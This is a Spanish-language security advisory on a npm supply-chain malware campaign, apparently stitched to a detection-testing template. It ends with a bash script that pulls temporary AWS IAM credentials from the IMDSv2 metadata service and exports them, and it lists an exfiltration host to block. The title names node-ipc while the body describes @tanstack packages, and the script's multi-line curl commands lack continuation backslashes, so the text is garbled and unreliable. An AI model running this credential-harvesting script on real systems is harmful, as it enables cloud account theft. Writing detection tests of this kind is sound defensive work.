Ataque activo a la cadena de suministro compromete el paquete node-ipc

Resumen

Investigadores de Socket descubrieron un compromiso en la cadena de suministro que afecta a 84 paquetes de npm publicados bajo el @tanstack namespace. Las actualizaciones maliciosas introdujeron un archivo JavaScript altamente ofuscado diseñado para robar secretos relacionados con CI de GitHub Actions, AWS, HashiCorp Vault y entornos Kubernetes, luego usar esas credenciales para republicarse en npm. La carga útil también plantó ganchos de persistencia dentro de los directorios de configuración de Claude Code y VS Code. Los investigadores vincularon la actividad a la campaña de malware más amplia Mini Shai-Hulud de la cadena de suministro.

Investigación

La investigación identificó un archivo que se agregó recientemente, router_init.js, que utilizaba rotación de matriz de cadenas, una capa adicional de descodificación XOR y Base64, y dabaemonización para ocultar su comportamiento. El malware apuntaba a variables de entorno, servicios de metadatos en la nube y puntos finales de API asociados con GitHub, AWS, Vault y Kubernetes para recopilar credenciales. Se propagó abusando de la federación OIDC de GitHub Actions para obtener tokens de publicación npm e insertó una optionalDependency on @tanstack/setupmaliciosa. El tráfico de exfiltración se encaminó a través de la red de mensajería descentralizada de Session.

Mitigación

Las organizaciones afectadas por la campaña deben verificar los hashes de todos los contenidos del paquete @tanstack/* , rotar todas las credenciales de CI y en la nube, revocar las concesiones de federación OIDC expuestas, y eliminar archivos no autorizados de los directorios .claude and .vscode . Bloquear el tráfico saliente a filev2.getsession.org y hacer cumplir controles de integridad para los paquetes npm puede reducir aún más la exposición. Los flujos de trabajo de GitHub Actions también deben reforzarse fijando acciones de terceros y minimizando permisos de id-token. permisos.

Respuesta

Los defensores deben buscar presencia de router_init.js y nombres de archivos relacionados, monitorear procesos sospechosos generados y alertar sobre accesos a los puntos finales de metadatos en la nube identificados. Cualquier paquete comprometido debe ser puesto en cuarentena, eliminando los ganchos maliciosos y rotando todas las credenciales expuestas inmediatamente. Los equipos de seguridad también deben llevar a cabo una revisión completa de la actividad de GitHub Actions para el uso no autorizado de tokens y validar la procedencia de todos los paquetes npm publicados.

Ejecución de Simulación

Prerrequisito: La Verificación Previa de Telemetría y Línea de Base debe haber pasado.

Justificación: Esta sección detalla la ejecución precisa de la técnica del adversario (TTP) diseñada para activar la regla de detección. Los comandos y la narrativa DEBEN reflejar directamente las TTPs identificadas y apuntar a generar la telemetría exacta esperada por la lógica de detección. Ejemplos abstractos o no relacionados conducirán a un diagnóstico erróneo.

• Narrativa y Comandos del Ataque:

  1. Obtener un token de sesión IMDSv2 – el atacante emite una PUT solicitud al endpoint del token con un TTL de 21600 segundos.
  2. Usar el token para consultar el nombre del rol IAM expuesto en /latest/meta-data/iam/security-credentials/.
  3. Recuperar las credenciales IAM temporales (AccessKeyId, SecretAccessKey, Token) para el perfil de instancia.
  4. Almacenar las credenciales localmente para usos posteriores (por ejemplo, para llamar a APIs de AWS, pivote o realizar ataques de pulverización de contraseñas).

  Estos pasos generan tráfico HTTP a los URIs exactos listados en la regla Sigma que, cuando son capturados por los registros de flujo de VPC, deberían satisfacer la condición de detección.

• Script de Prueba de Regresión:

  #!/usr/bin/env bash
  # -------------------------------------------------
  # Script: aws_imds_credential_harvest.sh
  # Propósito: Simular la recolección de credenciales vía IMDSv2 / metadatos de ECS
  # -------------------------------------------------
  
  set -euo pipefail
  
  # 1. Solicitar token IMDSv2
  TOKEN=$(curl -X PUT "http://169.254.169.254/latest/api/token" 
    -H "X-aws-ec2-metadata-token-ttl-seconds: 21600" -s)
  
  if [[ -z "$TOKEN" ]]; then
    echo "[!] Fallo al obtener el token IMDSv2"
    exit 1
  fi
  echo "[*] Token IMDSv2 obtenido"
  
  # 2. Obtener el nombre del rol IAM asociado con la instancia
  ROLE_NAME=$(curl -H "X-aws-ec2-metadata-token: $TOKEN" 
    -s http://169.254.169.254/latest/meta-data/iam/security-credentials/)
  
  if [[ -z "$ROLE_NAME" ]]; then
    echo "[!] No se pudo recuperar el nombre del rol IAM"
    exit 1
  fi
  echo "[*] Rol IAM de la instancia: $ROLE_NAME"
  
  # 3. Recuperar credenciales temporales para el rol
  CREDS_JSON=$(curl -H "X-aws-ec2-metadata-token: $TOKEN" 
    -s http://169.254.169.254/latest/meta-data/iam/security-credentials/$ROLE_NAME)
  
  echo "[*] Credenciales recuperadas:"
  echo "$CREDS_JSON" | jq .
  
  # 4. (Opcional) Exportar como variables de entorno para uso posterior con AWS CLI
  export AWS_ACCESS_KEY_ID=$(echo "$CREDS_JSON" | jq -r .AccessKeyId)
  export AWS_SECRET_ACCESS_KEY=$(echo "$CREDS_JSON" | jq -r .SecretAccessKey)
  export AWS_SESSION_TOKEN=$(echo "$CREDS_JSON" | jq -r .Token)
  
  echo "[*] Credenciales exportadas al entorno (solo para demostración)."
  # -------------------------------------------------
  # Fin del script
  # -------------------------------------------------

• Comandos de Limpieza:

  # Desestablecer las variables de entorno que contienen credenciales temporales
  aunset AWS_ACCESS_KEY_ID AWS_SECRET_ACCESS_KEY AWS_SESSION_TOKEN
  
  # Eliminar archivos temporales (ninguno creado en este script)
  echo "[*] Limpieza completa."